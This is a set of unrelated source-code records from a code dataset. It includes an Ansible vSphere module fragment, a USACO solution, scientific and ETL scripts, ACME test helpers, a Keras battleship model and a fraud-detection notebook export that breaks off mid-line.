= vm_hardware['memory_mb']\n if vm_nic:\n changed = reconfigure_net(vsphere_client, vm, module, esxi, resource_pool, guest, vm_nic, cluster_name)\n if ('num_cpus' in vm_hardware):\n if (int(vm_hardware['num_cpus']) != vm.properties.config.hardware.numCPU):\n spec = spec_singleton(spec, request, vm)\n if vm.is_powered_on():\n if force:\n if (not cpuHotAddEnabled):\n shutdown = True\n elif (int(vm_hardware['num_cpus']) < vm.properties.config.hardware.numCPU):\n if (not cpuHotRemoveEnabled):\n shutdown = True\n elif (not cpuHotAddEnabled):\n module.fail_json(msg='cpuHotAdd is not enabled. force is required for shutdown')\n elif (int(vm_hardware['num_cpus']) < vm.properties.config.hardware.numCPU):\n if (not cpuHotRemoveEnabled):\n module.fail_json(msg='Cannot lower CPU on a live VM without cpuHotRemove. force is required for shutdown')\n spec.set_element_numCPUs(int(vm_hardware['num_cpus']))\n changes['cpu'] = vm_hardware['num_cpus']\n if ('vm_cdrom' in vm_hardware):\n spec = spec_singleton(spec, request, vm)\n (cdrom_type, cdrom_iso_path) = get_cdrom_params(module, vsphere_client, vm_hardware['vm_cdrom'])\n cdrom = None\n current_devices = vm.properties.config.hardware.device\n for dev in current_devices:\n if (dev._type == 'VirtualCdrom'):\n cdrom = dev._obj\n break\n if (cdrom_type == 'iso'):\n iso_location = cdrom_iso_path.split('/', 1)\n (datastore, ds) = find_datastore(module, vsphere_client, iso_location[0], None)\n iso_path = iso_location[1]\n iso = VI.ns0.VirtualCdromIsoBackingInfo_Def('iso').pyclass()\n iso.set_element_fileName(('%s %s' % (datastore, iso_path)))\n cdrom.set_element_backing(iso)\n cdrom.Connectable.set_element_connected(True)\n cdrom.Connectable.set_element_startConnected(True)\n elif (cdrom_type == 'client'):\n client = VI.ns0.VirtualCdromRemoteAtapiBackingInfo_Def('client').pyclass()\n client.set_element_deviceName('')\n cdrom.set_element_backing(client)\n cdrom.Connectable.set_element_connected(True)\n cdrom.Connectable.set_element_startConnected(True)\n else:\n vsphere_client.disconnect()\n module.fail_json(msg=('Error adding cdrom of type %s to vm spec. cdrom type can either be iso or client' % cdrom_type))\n dev_change = spec.new_deviceChange()\n dev_change.set_element_device(cdrom)\n dev_change.set_element_operation('edit')\n devices.append(dev_change)\n changes['cdrom'] = vm_hardware['vm_cdrom']\n if vm_disk:\n spec = spec_singleton(spec, request, vm)\n dev_list = [d for d in vm.properties.config.hardware.device if (d._type == 'VirtualDisk')]\n if (len(vm_disk) > len(dev_list)):\n vsphere_client.disconnect()\n module.fail_json(msg=\"Error in vm_disk definition. Too many disks defined in comparison to the VM's disk profile.\")\n disk_num = 0\n dev_changes = []\n disks_changed = {\n \n }\n for disk in sorted(vm_disk):\n try:\n disksize = int(vm_disk[disk]['size_gb'])\n disksize = ((disksize * 1024) * 1024)\n except (KeyError, ValueError):\n vsphere_client.disconnect()\n module.fail_json(msg=(\"Error in '%s' definition. Size needs to be specified as an integer.\" % disk))\n dev = dev_list[disk_num]\n if (disksize < int(dev.capacityInKB)):\n vsphere_client.disconnect()\n module.fail_json(msg=(\"Error in '%s' definition. New size needs to be higher than the current value (%s GB).\" % (disk, ((int(dev.capacityInKB) / 1024) / 1024))))\n elif (disksize > int(dev.capacityInKB)):\n dev_obj = dev._obj\n dev_obj.set_element_capacityInKB(disksize)\n dev_change = spec.new_deviceChange()\n dev_change.set_element_operation('edit')\n dev_change.set_element_device(dev_obj)\n dev_changes.append(dev_change)\n disks_changed[disk] = {\n 'size_gb': int(vm_disk[disk]['size_gb']),\n }\n disk_num = (disk_num + 1)\n if dev_changes:\n spec.set_element_deviceChange(dev_changes)\n changes['disks'] = disks_changed\n if len(changes):\n if (shutdown and vm.is_powered_on()):\n try:\n vm.power_off(sync_run=True)\n vm.get_status()\n except Exception:\n e = get_exception()\n module.fail_json(msg=('Failed to shutdown vm %s: %s' % (guest, e)))\n if len(devices):\n spec.set_element_deviceChange(devices)\n request.set_element_spec(spec)\n ret = vsphere_client._proxy.ReconfigVM_Task(request)._returnval\n task = VITask(ret, vsphere_client)\n status = task.wait_for_state([task.STATE_SUCCESS, task.STATE_ERROR])\n if (status == task.STATE_SUCCESS):\n changed = True\n elif (status == task.STATE_ERROR):\n module.fail_json(msg=('Error reconfiguring vm: %s' % task.get_error_message()))\n if (vm.is_powered_off() and poweron):\n try:\n vm.power_on(sync_run=True)\n except Exception:\n e = get_exception()\n module.fail_json(msg=('Failed to power on vm %s : %s' % (guest, e)))\n vsphere_client.disconnect()\n if changed:\n module.exit_json(changed=True, changes=changes)\n module.exit_json(changed=False)","sub_path":"Data Set/bug-fixing-3/36975c50ef63b2b159686b0c8fbab27f9df98512--fix.py","file_name":"36975c50ef63b2b159686b0c8fbab27f9df98512--fix.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"343495901","text":"'''\nID: arcaand2\nLANG: PYTHON3\nTASK: ride\n'''\n\nwith open('ride.in', 'r') as fin:\n line1 = [x for x in fin.readline().rstrip()]\n line2 = [x for x in fin.readline().rstrip()]\n\nnumber1 = [ord(line1[x])-ord('A')+1 for x in range(len(line1))]\n\nnumber2 = [ord(line2[x])-ord('A')+1 for x in range(len(line2))]\n\n\nresult1 = 1\nresult2 = 1\n \nfor x in number1: \n result1 *= x\nresult1 = result1 % 47\nfor x in number2:\n result2 *= x\nresult2 = result2 % 47\nwith open('ride.out', 'w') as fout:\n if result1 == result2:\n print('GO', file=fout)\n else:\n print('STAY', file=fout)","sub_path":"training/ufo_ride/ride.py","file_name":"ride.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"73009737","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 17 21:34:55 2017\n\nTo do!\n\nstore t array\n\n\n@author: woolseo\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport multiprocessing as proc\nimport time\nimport datetime\n\nN = 10\nt_max =1000\nfilename = 'kim 2014 2a xx'\n\ndef randwalk(a,q):\n \n temp_var_mean = np.array([0,0])\n \n l = 1\n dl = 1\n \n while(l < t_max):\n \n for k in range(0,9): \n \n store_x = np.arange(0,l,1,dtype=np.int)\n \n for j in range(1, N):\n \n \n x = np.array([],dtype=np.int)\n s = np.array([],dtype=np.int)\n \n np.random.seed(); \n \n #t=1\n if( np.random.random() < 0.5 ):\n s_next = +1\n else:\n s_next = -1\n \n x = np.insert(x,0,s_next)\n s = np.insert(s,0,s_next)\n \n \n #t>1\n for i in range(1, l):\n if( np.random.random() < ( 1.0 / ( i**a ) ) ):\n r = np.random.random()\n if( r < 0.5 ):\n s_next = +1\n else:\n s_next = -1\n \n else:\n s_next = s[i-1] #pLMEM\n #s_next = (-1) * s[i-1] #nLMEM\n \n x = np.insert(x,i,x[i-1]+s_next)\n s = np.insert(s,i,s_next)\n \n \n print(l,k)\n \n store_x = np.vstack((store_x,x))\n \n temp_var_mean = np.vstack((temp_var_mean,[l,np.mean(np.var(store_x,1))]))\n \n l = l + dl\n \n dl = dl * 10\n temp = str(a) + 'done'\n print(temp)\n q.put(temp_var_mean)\n \n \n############## start program ###############\n\n\nstartTime = time.time()\nnow = datetime.datetime.now()\nnowDate = now.strftime('%Y%m%d')\n\nfilename = filename + nowDate\nfilename_csv = filename + '.csv'\nfilename_pdf = filename + '.pdf'\n\n\nQ = proc.Queue() # queue\n\np = [] #proceesing array\nresults = np.array([None,2])\nvar_mean = np.array([0,0])\n\n\nfor i in range(4):\n p.append( proc.Process(target = randwalk, args=((i*2+2)*0.1,Q)) )\n p[i].start()\n results = Q.get(True)\n var_mean = np.vstack((var_mean,results))\n np.savetxt(filename_csv, var_mean, delimiter=',')\n plt.plot(var_mean[:,0],var_mean[:,1],'o', ms=2, label=(i*2+2)*0.1)\n\n\nprint(time.time()-startTime)\n \n#plt.axis([10, t_max, 10, t_max*t_max])\nplt.xscale('log') \nplt.yscale('log') \nplt.xlabel('$t$', fontsize=15)\nplt.ylabel('$-^2$', fontsize=15)\nplt.legend(loc=4)\n\n#plt.title(\"2a pLMEM $-^2$\" )\n\nplt.savefig(filename_pdf)\nplt.show()\n\n\n\nprint(\"done\")\n","sub_path":"paper/kim2014/2a_x_xx/2a_numpy_170920_x_xx_pLMEM_multiprocessing.py","file_name":"2a_numpy_170920_x_xx_pLMEM_multiprocessing.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"554650124","text":"# Copyright (c) 2014 Evalf\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\"\"\"\nThe log module provides print methods ``debug``, ``info``, ``user``,\n``warning``, and ``error``, in increasing order of priority. Output is sent to\nstdout as well as to an html formatted log file if so configured.\n\nThis is a transitional wrapper around the external treelog module.\n\"\"\"\n\nimport builtins, itertools, treelog, contextlib, sys\nfrom treelog import set, add, disable, withcontext, \\\n Log, TeeLog, FilterLog, NullLog, DataLog, RecordLog, StdoutLog, RichOutputLog, LoggingLog\nfrom . import warnings\n\ndef _len(iterable):\n try:\n return len(iterable)\n except:\n return 0\n\nclass iter:\n def __init__(self, title, iterable, length=None):\n self._log = treelog.current\n self._iter = builtins.iter(iterable)\n self._title = title\n self._length = length or _len(iterable)\n self._index = 0\n text = '{} 0'.format(self._title)\n if self._length:\n text += ' (0%)'\n self._log.pushcontext(text)\n self.closed = False\n def __iter__(self):\n return self\n def __next__(self):\n if self.closed:\n raise StopIteration\n try:\n value = next(self._iter)\n except:\n self.close()\n raise\n self._index += 1\n text = '{} {}'.format(self._title, self._index)\n if self._length:\n text += ' ({:.0f}%)'.format(100 * self._index / self._length)\n self._log.popcontext()\n self._log.pushcontext(text)\n return value\n def close(self):\n if not self.closed:\n self._log.popcontext()\n self.closed = True\n def __enter__(self):\n return self\n def __exit__(self, *args):\n self.close()\n def __del__(self):\n if not self.closed:\n warnings.warn('unclosed iterator {!r}'.format(self._title), ResourceWarning)\n self.close()\n\ndef range(title, *args):\n return iter(title, builtins.range(*args))\n\ndef enumerate(title, iterable):\n return iter(title, builtins.enumerate(iterable), length=_len(iterable))\n\ndef zip(title, *iterables):\n return iter(title, builtins.zip(*iterables), length=min(map(_len, iterables)))\n\ndef count(title, start=0, step=1):\n return iter(title, itertools.count(start, step))\n\n@contextlib.contextmanager\ndef open(filename, mode, *, level='user', exists=None):\n if exists is not None:\n warnings.deprecation('the \"exists\" argument is deprecated and will be ignored')\n levels = 'debug', 'info', 'user', 'warning', 'error'\n if level not in levels:\n raise Exception('the \"level\" argument should be on of {}'.format(', '.join(levels)))\n with treelog.open(filename, mode, level=levels.index(level), id=None) as f:\n f.devnull = not f\n yield f\n\ndef __getattr__(name):\n return getattr(treelog.current, name)\n\nif sys.version_info < (3,7):\n def _factory(name):\n def wrapper(*args, **kwargs):\n return __getattr__(name)(*args, **kwargs)\n wrapper.__doc__ = getattr(treelog.Log, name).__doc__\n wrapper.__name__ = name\n wrapper.__qualname__ = name\n return wrapper\n locals().update((name, _factory(name)) for name in dir(treelog.Log) if name not in locals())\n del _factory\n\n# vim:sw=2:sts=2:et\n","sub_path":"nutils/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":4107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88014518","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/skip/cli.py\n# Compiled at: 2019-07-12 16:27:22\n# Size of source mod 2**32: 3157 bytes\nfrom typing import Dict, Set, Type\nimport click\nfrom click import Context\nfrom skip.managers.apt import Apt\nfrom skip.managers.apt_get import AptGet\nfrom skip.managers.brew import Brew\nfrom skip.managers.brew_cask import BrewCask\nfrom skip.managers.choco import Choco\nfrom skip.managers.flatpak import Flatpak\nfrom skip.managers.gem import Gem\nfrom skip.managers.linux_brew import LinuxBrew\nfrom skip.managers.macos_brew import MacOSBrew\nfrom skip.managers.manager import PackageManager\nfrom skip.managers.mas import Mas\nfrom skip.managers.npm import Npm\nfrom skip.managers.pip import Pip\nfrom skip.managers.snap import Snap\n\ndef managers() -> Set[Type[PackageManager]]:\n return {Brew, Npm, Apt, AptGet, Gem, Choco, Pip, Snap, LinuxBrew, BrewCask,\n MacOSBrew, Mas, Flatpak}\n\n\n@click.group()\ndef skip():\n pass\n\n\n@skip.command(help='Performs a full upgrade and cleanup for all package managers')\n@click.pass_context\ndef autopilot(context: Context) -> bool:\n context.invoke(update)\n context.invoke(upgrade)\n context.invoke(clean)\n return True\n\n\n@skip.command(help='Setup all package managers')\ndef setup() -> bool:\n for manager in managers():\n if manager.check():\n print('Start: ' + manager.canonical_name() + '.setup()')\n manager.setup()\n print('Finish: ' + manager.canonical_name() + '.setup()')\n\n return True\n\n\n@skip.command(help='Updates all package managers')\ndef update() -> bool:\n for manager in managers():\n if manager.check():\n print('Start: ' + manager.canonical_name() + '.update()')\n manager.update()\n print('Finish: ' + manager.canonical_name() + '.update()')\n\n return True\n\n\n@skip.command(help='Upgrades all package managers')\ndef upgrade() -> bool:\n for manager in managers():\n if manager.check():\n print('Start: ' + manager.canonical_name() + '.upgrade()')\n manager.upgrade()\n print('Finish: ' + manager.canonical_name() + '.upgrade()')\n\n return True\n\n\n@skip.command(help='Cleans all package managers')\ndef clean() -> bool:\n for manager in managers():\n if manager.check():\n print('Start: ' + manager.canonical_name() + '.clean()')\n manager.clean()\n print('Finish: ' + manager.canonical_name() + '.clean()')\n\n return True\n\n\n@skip.command(help='Installs all packages in Skipfile.toml for all package managers')\ndef install() -> bool:\n with open('Skipfile.toml', 'r') as (file):\n from toml import loads\n skipfile = loads(file.read())\n for manager in managers():\n if manager.check():\n print('Start: ' + manager.canonical_name() + '.install()')\n packages = skipfile['package_manager'][manager.canonical_name()]\n for package in packages:\n if packages[package] is str:\n packages[package] = packages[package].strip().split()\n\n manager.install(packages)\n print('Finish: ' + manager.canonical_name() + '.install()')\n\n return True","sub_path":"pycfiles/skip_manager-0.3.2-py3.7/cli.cpython-37.py","file_name":"cli.cpython-37.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"68106107","text":"import os\nimport json\nfrom owh.etl.common.etl import ETL\nimport logging\nfrom owh.etl.common.datafile_parser import DataFileParser\nlogger = logging.getLogger('incident_etl')\n\nclass CancerMortalityETL (ETL):\n \"\"\"\n Loads cancer mortality data into ES db\n \"\"\"\n def __init__(self, configFile):\n ETL.__init__(self, configFile)\n self.create_index(os.path.join(os.path.dirname(__file__), \"es_mapping\"\n ,self.config['elastic_search']['type_mapping']), True)\n self._load_cancer_site_mappings()\n\n def _load_cancer_site_mappings(self):\n with open(os.path.join(os.path.dirname(__file__),\"../cancer-site-mappings.json\")) as jf:\n self.cancer_site_mappings = json.load(jf, encoding=\"utf8\")\n\n def process_cancer_sites(self, record):\n if record['cancer_site'] == '26000':# to separate male/female breast cancer sites\n if record['sex'] == 'Male':\n record['cancer_site'] = '26000-Male'\n else:\n record['cancer_site'] = '26000-Female'\n\n site_hierarchy = []\n if record['cancer_site']:\n site_hierarchy = self.cancer_site_mappings[record['cancer_site']]\n record['cancer_site'] = {'code': record['cancer_site'], 'path': site_hierarchy}\n\n def perform_etl(self):\n \"\"\"Load the cancer mortality data\"\"\"\n record_count = 0\n self.initialCount = self.get_record_count()\n\n for f in os.listdir(self.dataDirectory):\n if not os.path.isfile(os.path.join(self.dataDirectory, f)) or f.endswith(\".zip\") :\n continue\n\n file_path = os.path.join(self.dataDirectory, f)\n logger.info(\"Processing file: %s\", f)\n\n # get the corresponding data mapping file\n config_file = os.path.join(self.dataDirectory, 'data_mapping', 'mortality.json')\n\n if not config_file:\n logger.warn(\"No mapping available for data file %s, skipping\", file_path)\n continue\n\n cancer_mortality_parser = DataFileParser(file_path, config_file)\n cancer_mortality_parser.parseNextLine() # skip the header line\n\n while True:\n record = cancer_mortality_parser.parseNextLine()\n if not record:\n break\n if (record['current_year'] == '1999' or record['state'] == 'PR' ): # skip invalid CBSA records/ 1999 year's records\n continue\n\n self.process_cancer_sites(record)\n #prepare region data\n self.loadRegionData(record)\n record_count += 1\n self.batchRepository.persist({\"index\": {\"_index\": self.config['elastic_search']['index'],\n \"_type\": self.config['elastic_search']['type'],\n \"_id\": record_count}})\n self.batchRepository.persist(record)\n\n self.batchRepository.flush()\n self.refresh_index()\n self.metrics.insertCount = record_count\n self.updateDsMetadata()\n logger.info(\"*** Processed %s records from cancer mortality data file\", self.metrics.insertCount)\n\n def updateDsMetadata(self):\n for y in range(2000, 2017):\n self.loadDataSetMetaData('cancer_mortality', str(y), os.path.join(self.dataDirectory, 'data_mapping', 'mortality.json'))\n\n def validate_etl(self):\n \"\"\" Validate the ETL\"\"\"\n expectedCount = (self.initialCount + self.metrics.insertCount)\n if expectedCount != self.get_record_count():\n self.metrics.message = \"Number of records in the DB (%d) not same as the number of records expected (%d)\" % (self.get_record_count(), expectedCount)\n return False\n if self.get_record_by_id(1) is None:\n self.metrics.message = \"Record 1 is None\"\n return False\n if self.get_record_by_id(self.get_record_count()) is None:\n self.metrics.message = \"Last record is None\"\n return False\n return True\n\n\nif __name__ == \"__main__\":\n # Perform ETL\n etl = CancerMortalityETL(file(os.path.join(os.path.dirname(__file__), \"config.yaml\"), 'r'))\n etl.execute()\n","sub_path":"software/owh/backoffice/owh/etl/cancer/mortality/mortality_etl.py","file_name":"mortality_etl.py","file_ext":"py","file_size_in_byte":4277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"42544211","text":"import logging\nimport os\nimport shutil\nimport subprocess\nfrom abc import ABCMeta, abstractmethod\nfrom datetime import datetime, timedelta\nfrom threading import Thread\n\nfrom md_env import MDTestEnv\n\n\nlog = logging.getLogger(__name__)\n\ndef monitor_proc(env: MDTestEnv, proc):\n proc.wait()\n\n\nclass ACMEServer:\n __metaclass__ = ABCMeta\n\n @abstractmethod\n def start(self):\n raise NotImplementedError\n\n @abstractmethod\n def stop(self):\n raise NotImplementedError\n\n @abstractmethod\n def install_ca_bundle(self, dest):\n raise NotImplementedError\n\n\nclass MDPebbleRunner(ACMEServer):\n\n def __init__(self, env: MDTestEnv):\n self.env = env\n self._pebble = None\n self._challtestsrv = None\n self._log = None\n\n def start(self):\n args = ['pebble', '-config', './test/config/pebble-config.json', '-dnsserver', ':8053']\n env = {}\n env.update(os.environ)\n env['PEBBLE_VA_NOSLEEP'] = '1'\n self._log = open(f'{self.env.gen_dir}/pebble.log', 'w')\n self._pebble = subprocess.Popen(args=args, env=env, cwd=self.env.acme_server_dir,\n stdout=self._log, stderr=self._log)\n t = Thread(target=monitor_proc, args=(self.env, self._pebble))\n t.start()\n\n args = ['pebble-challtestsrv', '-http01', '', '-https01', '', '-tlsalpn01', '']\n self._challtestsrv = subprocess.Popen(args, cwd=self.env.acme_server_dir,\n stdout=self._log, stderr=self._log)\n t = Thread(target=monitor_proc, args=(self.env, self._challtestsrv))\n t.start()\n\n def stop(self):\n if self._pebble:\n self._pebble.terminate()\n self._pebble = None\n if self._challtestsrv:\n self._challtestsrv.terminate()\n self._challtestsrv = None\n if self._log:\n self._log.close()\n self._log = None\n\n def install_ca_bundle(self, dest):\n src = os.path.join(self.env.acme_server_dir, 'test/certs/pebble.minica.pem')\n shutil.copyfile(src, dest)\n end = datetime.now() + timedelta(seconds=20)\n while datetime.now() < end:\n r = self.env.curl_get('https://localhost:15000/roots/0', insecure=True)\n if r.exit_code == 0:\n with open(dest, 'a') as fd:\n fd.write(r.stdout)\n break\n\n\nclass MDBoulderRunner(ACMEServer):\n\n def __init__(self, env: MDTestEnv):\n self.env = env\n\n def start(self):\n pass\n\n def stop(self):\n pass\n\n def install_ca_bundle(self, dest):\n r = self.env.run([\n 'docker', 'exec', 'boulder_boulder_1', 'bash', '-c', \"cat /tmp/root*.pem\"\n ])\n assert r.exit_code == 0\n with open(dest, 'w') as fd:\n fd.write(r.stdout)\n\n","sub_path":"test/md_acme.py","file_name":"md_acme.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"222213352","text":"import numpy\n\nimport os\n\nos.environ['KERAS_BACKEND'] = 'theano'\n\nfrom keras.layers import Dense\nimport csv\n\nfrom ingine import ann\n\n# Устанавливаем seed для повторяемости результатов\nnumpy.random.seed(151681)\n\n\ndef load_data():\n \"\"\"\n Функция получения данных из data.py\n :return: list(2) of lists(2)\n \"\"\"\n input_data = []\n output_data = []\n\n from data import data\n\n data = [_.split(';') for _ in data.split('\\n')]\n\n for row in data:\n in_data = row[0]\n out_data = row[1]\n in_data = in_data.replace('X', '1')\n in_data = in_data.replace('+', '1')\n in_data = in_data.replace('_', '0')\n in_data = in_data.replace('-', '0')\n\n out_data = out_data.replace('X', '0')\n out_data = out_data.replace('+', '0')\n out_data = out_data.replace('O', '1')\n out_data = out_data.replace('_', '0')\n out_data = out_data.replace('-', '0')\n\n in_data = list(map(lambda a: int(a), in_data))\n out_data = list(map(lambda a: int(a), out_data))\n\n input_data.append(in_data)\n output_data.append(out_data)\n\n input_data = numpy.asarray(input_data)\n output_data = numpy.asarray(output_data)\n\n input_data_test = input_data[8000:]\n input_data = input_data[:8000]\n\n output_data_test = output_data[8000:]\n output_data = output_data[:8000]\n\n return (input_data, output_data), (input_data_test, output_data_test)\n\n\n# Загружаем данные\n(X_train, Y_train), (X_test, Y_test) = load_data()\n\n# Определеяем слои\nlayers = [Dense(100, input_dim = 100, activation = \"softsign\", kernel_initializer = \"normal\"),\n Dense(20, activation = \"softsign\", kernel_initializer = \"normal\"),\n Dense(10, activation = \"softsign\", kernel_initializer = \"normal\"),\n Dense(100, activation = \"softsign\", kernel_initializer = \"normal\")]\n\n# Получение модели с\ncustomnn = ann.get_customnn(X_train, Y_train, layers = layers, epochs = 5)\n\nres = customnn(X_test)\n\nxt = numpy.asarray([255 if a == 1 else a for a in X_test[15]]).reshape(10, 10)\nyt = numpy.asarray([255 if a == 1 else a for a in Y_test[15]]).reshape(10, 10)\nrt = numpy.asarray([int(-numpy.sign(a)) * 255 for a in res[15]]).reshape(10, 10)\n\nfrom PIL import Image, ImageDraw\n\nimage = Image.new(\"L\", (500, 500), (255,))\ndraw = ImageDraw.Draw(image)\nfor i in range(10): # For every pixel:\n for j in range(10):\n draw.rectangle((i * 50, j * 50, (i + 1) * 50, (j + 1) * 50), fill = (xt[i][j],))\n\nimage.save(\"images/xt.png\", \"PNG\")\n\nimage = Image.new(\"L\", (500, 500), (255,))\ndraw = ImageDraw.Draw(image)\nfor i in range(10): # For every pixel:\n for j in range(10):\n draw.rectangle((i * 50, j * 50, (i + 1) * 50, (j + 1) * 50), fill = (yt[i][j],))\n\nimage.save(\"images/yt.png\", \"PNG\")\n\nimage = Image.new(\"L\", (500, 500), (255,))\ndraw = ImageDraw.Draw(image)\nfor i in range(10): # For every pixel:\n for j in range(10):\n draw.rectangle((i * 50, j * 50, (i + 1) * 50, (j + 1) * 50), fill = (rt[i][j],))\n\nimage.save(\"images/rt.png\", \"PNG\")\n","sub_path":"ingine/examples/seabattle.py","file_name":"seabattle.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"289550038","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### Import necessary libraries\n\n# In[1]:\n\n\n# Data representation and computation\nimport pandas as pd \nimport numpy as np \npd.options.display.float_format = '{:20,.4f}'.format\n\n# plotting\nimport matplotlib.pyplot as plt \nimport seaborn as sns\n\n# Data splitting and pipeline for training models\nfrom sklearn.model_selection import train_test_split \nfrom sklearn.pipeline import Pipeline\nfrom sklearn import metrics\nfrom sklearn.utils import shuffle\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score, f1_score, recall_score, precision_score\n\n\n# Used ML models\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nimport lightgbm as lgb\nfrom xgboost import XGBClassifier\n\n# Miscellaneous\nimport warnings\nfrom prettytable import PrettyTable\n\n# Declaration\nwarnings.filterwarnings('ignore')\nget_ipython().run_line_magic('precision', '2')\nget_ipython().run_line_magic('matplotlib', 'inline')\nsns.set(font_scale=1)\n\n\n# ### Load Data\n\n# In[2]:\n\n\nimport json\nwith open(r\"transactions.txt\",\"r+\") as f:\n llst_transaction_records = f.readlines()\nllst_transaction_records = [json.loads(item) for item in llst_transaction_records]\nldf_training_dataset = pd.DataFrame(llst_transaction_records)\n\nldf_training_dataset['transactionDateTime'] = pd.to_datetime(ldf_training_dataset['transactionDateTime'])\n\n\n# In[3]:\n\n\nldf_training_dataset.head()\n\n\n# ## Question 1: Load\n\n# ##### Statistical summary\n\n# In[4]:\n\n\nprint(\"Number of records: \"+str(len(ldf_training_dataset)))\n\n\n# In[5]:\n\n\nldf_training_dataset.describe()\n\n\n# In[6]:\n\n\nldf_training_dataset.info()\n\n\n# ##### Checking for null or NA values\n\n# In[8]:\n\n\nldf_training_dataset.isnull().sum()\n\n\n# ##### Checking for values stored as blank ('')\n\n# In[9]:\n\n\nldf_training_dataset.eq('').sum()\n\n\n# ## Question 2: Plot\n\n# ##### Plotting bar-chart of \"isFraud`\" \n\n# In[75]:\n\n\nldf_temp = ldf_training_dataset.isFraud.value_counts().to_frame(\"_count\")\nldf_temp.plot(kind=\"bar\")\n\n\n# ##### Plotting histogram of \"transactionAmount\" \n\n# In[76]:\n\n\nldf_training_dataset['transactionAmount'].plot.hist()\n\n\n# ## Question 3: Data Wrangling - Duplicate Transactions\n\n# #### To identify Multi-swipe transactions, please see the explanation in Word documents)\n# In[77]:\n\n\nldf_training_dataset['IsDuplicate'] = (ldf_training_dataset.sort_values(['transactionDateTime'])\n .groupby(['accountNumber', 'transactionAmount', 'merchantName'], sort=False)['transactionDateTime']\n .diff()\n .dt.total_seconds()\n .lt(300))\n\n\n# In[78]:\n\n\nldf_training_dataset.IsDuplicate.value_counts().to_frame(\"Count\")\n\n\n# #### To identify Reversed transactions, using the Transaction Type column\n\n# In[79]:\n\n\nldf_training_dataset.transactionType.value_counts().to_frame(\"Count\")\n\n\n# ## Estimating the total number and dollar amount of Normal & Duplicate Transactions.\n\n# In[80]:\n\n\nModel_Accuracy = PrettyTable()\nModel_Accuracy.field_names = [\"\",\"No. of Transactions\", \"Doller Amount\"]\nModel_Accuracy.align[\"\"] = \"r\"\nldf_training_dataset_normal = ldf_training_dataset[(ldf_training_dataset['transactionType']!=\"REVERSAL\") &\n (ldf_training_dataset['IsDuplicate'] == False)]\n\nModel_Accuracy.add_row([\"Normal (Excluding Duplicates)\",len(ldf_training_dataset_normal), \n round(sum(ldf_training_dataset_normal['transactionAmount']))])\nprint(\"\\nA - Normal (Excluding Duplicates)\")\nprint(Model_Accuracy)\n\n\n# In[81]:\n\n\n\nModel_Accuracy = PrettyTable()\nModel_Accuracy.field_names = [\"\",\"No. of Transactions\", \"Doller Amount\"]\nModel_Accuracy.align[\"\"] = \"r\"\nldf_training_dataset_rev = ldf_training_dataset[ldf_training_dataset[\"transactionType\"] == \"REVERSAL\"]\nldf_training_dataset_multi_swipe = ldf_training_dataset[(ldf_training_dataset['transactionType']!=\"REVERSAL\") &\n (ldf_training_dataset['IsDuplicate'] == True)]\n\nModel_Accuracy.add_row([\"Reversal\",len(ldf_training_dataset_rev), \n round(sum(ldf_training_dataset_rev['transactionAmount']))])\nModel_Accuracy.add_row([\"Multi-Swipe\",len(ldf_training_dataset_multi_swipe), \n round(sum(ldf_training_dataset_multi_swipe['transactionAmount']))])\nModel_Accuracy.add_row([\"\",\"----\",\"----\"])\nModel_Accuracy.add_row([\"Reversal + Multi-Swipe\",int(len(ldf_training_dataset_rev)+\n len(ldf_training_dataset_multi_swipe)),\n round(sum(ldf_training_dataset_rev['transactionAmount']))+\n round(sum(ldf_training_dataset_multi_swipe['transactionAmount']))])\n\nprint(\"\\nB - Duplicates(Reversal + Multi-Swipe)\")\nprint(Model_Accuracy)\n\n\n# In[82]:\n\n\n# =====================================================================================================\n\nModel_Accuracy = PrettyTable()\nModel_Accuracy.field_names = [\"\",\"No. of Transactions\", \"Doller Amount\"]\nModel_Accuracy.align[\"\"] = \"r\"\n\nModel_Accuracy.add_row([\"A + 